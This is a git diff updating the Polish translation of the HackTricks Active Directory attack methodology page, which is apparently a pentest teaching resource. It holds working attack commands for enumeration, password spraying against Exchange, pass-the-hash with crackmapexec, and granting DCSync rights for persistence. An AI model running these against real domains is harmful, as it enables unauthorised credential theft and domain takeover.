mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
Translator
parent
f9f12fbbc0
commit
4d025e6f60
@ -268,6 +268,7 @@
|
||||
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
|
||||
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
|
||||
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
|
||||
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
|
||||
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
|
||||
@ -16,11 +16,11 @@ Kluczowe pojęcia w **Active Directory** obejmują:
|
||||
4. **Drzewo** – Grupa domen, które dzielą wspólną domenę główną.
|
||||
5. **Las** – Szczyt struktury organizacyjnej w Active Directory, składający się z kilku drzew z **relacjami zaufania** między nimi.
|
||||
|
||||
**Usługi domenowe Active Directory (AD DS)** obejmują szereg usług krytycznych dla centralnego zarządzania i komunikacji w sieci. Usługi te obejmują:
|
||||
**Usługi domenowe Active Directory (AD DS)** obejmują szereg usług kluczowych dla centralnego zarządzania i komunikacji w sieci. Usługi te obejmują:
|
||||
|
||||
1. **Usługi domenowe** – Centralizują przechowywanie danych i zarządzają interakcjami między **użytkownikami** a **domenami**, w tym funkcjonalności **uwierzytelniania** i **wyszukiwania**.
|
||||
2. **Usługi certyfikatów** – Nadzorują tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
|
||||
3. **Usługi lekkiego katalogu** – Wspierają aplikacje z katalogiem poprzez **protokół LDAP**.
|
||||
3. **Usługi katalogowe Lightweight** – Wspierają aplikacje z obsługą katalogów przez **protokół LDAP**.
|
||||
4. **Usługi federacji katalogów** – Zapewniają możliwości **jednolitego logowania** do uwierzytelniania użytkowników w wielu aplikacjach internetowych w jednej sesji.
|
||||
5. **Zarządzanie prawami** – Pomaga w ochronie materiałów objętych prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
|
||||
6. **Usługa DNS** – Kluczowa dla rozwiązywania **nazw domen**.
|
||||
@ -29,7 +29,7 @@ Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź: [**TechTerms - Defin
|
||||
|
||||
### **Uwierzytelnianie Kerberos**
|
||||
|
||||
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć proces uwierzytelniania Kerberos**.\
|
||||
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć** **proces uwierzytelniania Kerberos**.\
|
||||
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
|
||||
|
||||
## Arkusz skrótów
|
||||
@ -37,17 +37,17 @@ Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć pr
|
||||
Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io), aby szybko zobaczyć, jakie polecenia możesz uruchomić, aby enumerować/eksploatować AD.
|
||||
|
||||
> [!WARNING]
|
||||
> Komunikacja Kerberos **wymaga pełnej kwalifikowanej nazwy (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny za pomocą adresu IP, **użyje NTLM, a nie Kerberos**.
|
||||
> Komunikacja Kerberos **wymaga pełnej kwalifikowanej nazwy (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny przez adres IP, **użyje NTLM, a nie Kerberos**.
|
||||
|
||||
## Recon Active Directory (Bez poświadczeń/sesji)
|
||||
|
||||
Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji, możesz:
|
||||
|
||||
- **Pentestować sieć:**
|
||||
- **Przeprowadzić testy penetracyjne w sieci:**
|
||||
- Skanować sieć, znaleźć maszyny i otwarte porty oraz spróbować **eksploatować luki** lub **wyciągać poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
|
||||
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udostępnienia, vpn, media itp.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Zobacz ogólną [**Metodologię Pentestingu**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na temat tego, jak to zrobić.
|
||||
- Zobacz ogólną [**Metodologię testów penetracyjnych**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na temat tego, jak to zrobić.
|
||||
- **Sprawdź dostęp null i Gościa w usługach smb** (to nie zadziała w nowoczesnych wersjach Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -68,18 +68,18 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
|
||||
|
||||
- **Zatrucie sieci**
|
||||
- Zbieraj poświadczenia [**podszywając się pod usługi z Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Uzyskaj dostęp do hosta [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Uzyskaj dostęp do hosta przez [**nadużywanie ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP z evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Wyciągnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
|
||||
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.Naz_, _NNazwisko_, _N.Nazwisko_, _NazwiskoImię_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
|
||||
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImNaw_ (3 litery z każdej), _Im.Naw_, _NNazwisko_, _N.Nazwisko_, _NazwiskoImię_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
|
||||
- Narzędzia:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Enumeracja użytkowników
|
||||
|
||||
- **Anonimowa enumeracja SMB/LDAP:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Anonimowa enumeracja SMB/LDAP:** Sprawdź strony [**testowania SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**testowania LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeracja Kerbrute**: Gdy **żądany jest nieprawidłowy nazwa użytkownika**, serwer odpowie używając kodu błędu **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala nam stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** wywołają albo **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, co wskazuje, że użytkownik musi przeprowadzić wstępne uwierzytelnienie.
|
||||
- **Brak uwierzytelnienia przeciwko MS-NRPC**: Używając poziomu uwierzytelnienia = 1 (Brak uwierzytelnienia) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po powiązaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
@ -108,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) oraz w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) oraz w tym ([**statystycznie prawdopodobne nazwy użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
|
||||
|
||||
@ -126,7 +126,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **truciznę** niektórych protokołów **sieci**:
|
||||
Możesz być w stanie **uzyskać** kilka wyzwań **hashy**, aby złamać **truciznę** niektórych protokołów **sieci**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -156,19 +156,19 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Posiadając skompromitowane konto, to **duży krok w kierunku kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
|
||||
Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
|
||||
|
||||
Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego potencjalnie podatnego użytkownika, a odnośnie [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
|
||||
|
||||
- Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
|
||||
- Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
|
||||
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretne** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, zdecydowanie powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
|
||||
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretny** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
|
||||
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
|
||||
- Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite.
|
||||
- Narzędzie z GUI, które możesz użyć do enumeracji katalogu, to **AdExplorer.exe** z **SysInternal** Suite.
|
||||
- Możesz również przeszukać bazę danych LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ i _unixUserPassword_, lub nawet dla _Description_. cf. [Hasło w komentarzu użytkownika AD na PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
|
||||
- Jeśli używasz **Linux**, możesz również zenumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Jeśli używasz **Linux**, możesz również enumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Możesz również spróbować zautomatyzowanych narzędzi, takich jak:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
@ -176,7 +176,7 @@ Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego poten
|
||||
|
||||
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Nawet jeśli ta sekcja enumeracji wygląda na małą, jest to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak zenumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
|
||||
> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -190,11 +190,11 @@ kerberoast.md
|
||||
|
||||
### Zdalne połączenie (RDP, SSH, FTP, Win-RM, itd.)
|
||||
|
||||
Gdy uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów.
|
||||
Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów.
|
||||
|
||||
### Lokalne podnoszenie uprawnień
|
||||
|
||||
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz mógł **zrzucić hasze innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
|
||||
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz mógł **zrzucić hashe innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
|
||||
|
||||
W tej książce znajduje się pełna strona na temat [**lokalnego podnoszenia uprawnień w Windows**](../windows-local-privilege-escalation/index.html) oraz [**lista kontrolna**](../checklist-windows-privilege-escalation.md). Nie zapomnij również użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -252,7 +252,7 @@ Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTL
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być szczególnie **przydatny w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
|
||||
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być szczególnie **przydatny w sieciach, gdzie protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -277,17 +277,17 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
> [!WARNING]
|
||||
> Zauważ, że to jest dość **hałaśliwe** i **LAPS** by **złagodzić** to.
|
||||
|
||||
### Nadużycie MSSQL i Zaufane Linki
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** hasz NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\
|
||||
Również, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
|
||||
**Linki między bazami danych działają nawet w ramach zaufania lasu.**
|
||||
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** **hash** NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\
|
||||
Ponadto, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
|
||||
**Linki między bazami danych działają nawet w przypadku zaufania między lasami.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### Nieograniczona Delegacja
|
||||
### Unconstrained Delegation
|
||||
|
||||
Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domeny na tym komputerze, będziesz mógł zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\
|
||||
Więc, jeśli **administrator domeny loguje się na komputerze**, będziesz mógł zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
|
||||
@ -297,16 +297,16 @@ Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować
|
||||
unconstrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Ograniczona Delegacja
|
||||
### Constrained Delegation
|
||||
|
||||
Jeśli użytkownik lub komputer ma zezwolenie na "Ograniczoną Delegację", będzie mógł **podszyć się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
|
||||
Następnie, jeśli **skompromitujesz hasz** tego użytkownika/komputera, będziesz mógł **podszyć się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług.
|
||||
Następnie, jeśli **skompromitujesz hash** tego użytkownika/komputera, będziesz mógł **podszyć się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Ograniczona Delegacja oparta na zasobach
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
Posiadanie uprawnienia **WRITE** do obiektu Active Directory zdalnego komputera umożliwia uzyskanie wykonania kodu z **podwyższonymi uprawnieniami**:
|
||||
|
||||
@ -314,23 +314,23 @@ Posiadanie uprawnienia **WRITE** do obiektu Active Directory zdalnego komputera
|
||||
resource-based-constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Nadużycie Uprawnień/ACL
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogą pozwolić ci na **przemieszczanie się** lateralnie/**eskalację** uprawnień.
|
||||
Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogą pozwolić ci na **lateralne poruszanie się**/**eskalację** uprawnień.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Nadużycie usługi Spooler drukarki
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Odkrycie **usługi Spool** nasłuchującej w obrębie domeny może być **nadużyte** do **zdobycia nowych poświadczeń** i **eskalacji uprawnień**.
|
||||
Odkrycie **usługi Spool** nasłuchującej w domenie może być **wykorzystane** do **zdobycia nowych poświadczeń** i **eskalacji uprawnień**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Nadużycie sesji zewnętrznych
|
||||
### Third party sessions abuse
|
||||
|
||||
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomprmitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy** w celu podszywania się pod nich.\
|
||||
Zazwyczaj użytkownicy uzyskują dostęp do systemu przez RDP, więc oto jak przeprowadzić kilka ataków na sesje RDP osób trzecich:
|
||||
@ -341,13 +341,13 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** zapewnia system zarządzania **lokalnym hasłem administratora** na komputerach dołączonych do domeny, zapewniając, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
|
||||
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
### Kradzież Certyfikatów
|
||||
### Certificate Theft
|
||||
|
||||
**Zbieranie certyfikatów** z skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
|
||||
|
||||
@ -355,25 +355,25 @@ laps.md
|
||||
ad-certificates/certificate-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### Nadużycie Szablonów Certyfikatów
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Jeśli **wrażliwe szablony** są skonfigurowane, możliwe jest ich nadużycie do eskalacji uprawnień:
|
||||
Jeśli **wrażliwe szablony** są skonfigurowane, możliwe jest ich wykorzystanie do eskalacji uprawnień:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-exploitation z kontem o wysokich uprawnieniach
|
||||
## Post-exploitation with high privilege account
|
||||
|
||||
### Zrzut Poświadczeń Domeny
|
||||
### Dumping Domain Credentials
|
||||
|
||||
Gdy uzyskasz uprawnienia **Administratora Domeny** lub jeszcze lepiej **Administratora Enterprise**, możesz **zrzucić** **bazę danych domeny**: _ntds.dit_.
|
||||
Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę danych domeny**: _ntds.dit_.
|
||||
|
||||
[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).
|
||||
|
||||
[**Więcej informacji o tym, jak ukraść NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Privesc jako Utrzymanie
|
||||
### Privesc as Persistence
|
||||
|
||||
Niektóre z wcześniej omawianych technik mogą być używane do utrzymania.\
|
||||
Na przykład możesz:
|
||||
@ -396,33 +396,33 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Srebrny Bilet
|
||||
### Silver Ticket
|
||||
|
||||
Atak **Srebrnego Biletu** tworzy **legitymację usługi Ticket Granting Service (TGS)** dla konkretnej usługi, używając **hasza NTLM** (na przykład, **hasza konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**.
|
||||
Atak **Silver Ticket** tworzy **legitymację Ticket Granting Service (TGS)** dla konkretnej usługi, używając **hasła NTLM** (na przykład, **hasła konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Złoty Bilet
|
||||
### Golden Ticket
|
||||
|
||||
Atak **Złotego Biletu** polega na tym, że atakujący uzyskuje dostęp do **hasza NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **Biletów Grantujących Bilety (TGT)**, które są niezbędne do uwierzytelniania w sieci AD.
|
||||
Atak **Golden Ticket** polega na tym, że atakujący uzyskuje dostęp do **hasła NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **Ticket Granting Tickets (TGT)**, które są niezbędne do uwierzytelniania w sieci AD.
|
||||
|
||||
Gdy atakujący uzyska ten hasz, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Srebrnego Biletu).
|
||||
Gdy atakujący uzyska to hasło, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Silver ticket).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Diamentowy Bilet
|
||||
### Diamond Ticket
|
||||
|
||||
Są one jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.**
|
||||
Są to jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **Utrzymanie Konta Certyfikatów**
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
**Posiadanie certyfikatów konta lub możliwość ich żądania** to bardzo dobry sposób na utrzymanie się w koncie użytkownika (nawet jeśli zmieni hasło):
|
||||
|
||||
@ -430,45 +430,45 @@ diamond-ticket.md
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Utrzymanie Certyfikatów w Domenie**
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Używanie certyfikatów jest również możliwe do utrzymania wysokich uprawnień w domenie:**
|
||||
**Używanie certyfikatów również umożliwia utrzymanie się z wysokimi uprawnieniami w domenie:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Grupa AdminSDHolder
|
||||
### AdminSDHolder Group
|
||||
|
||||
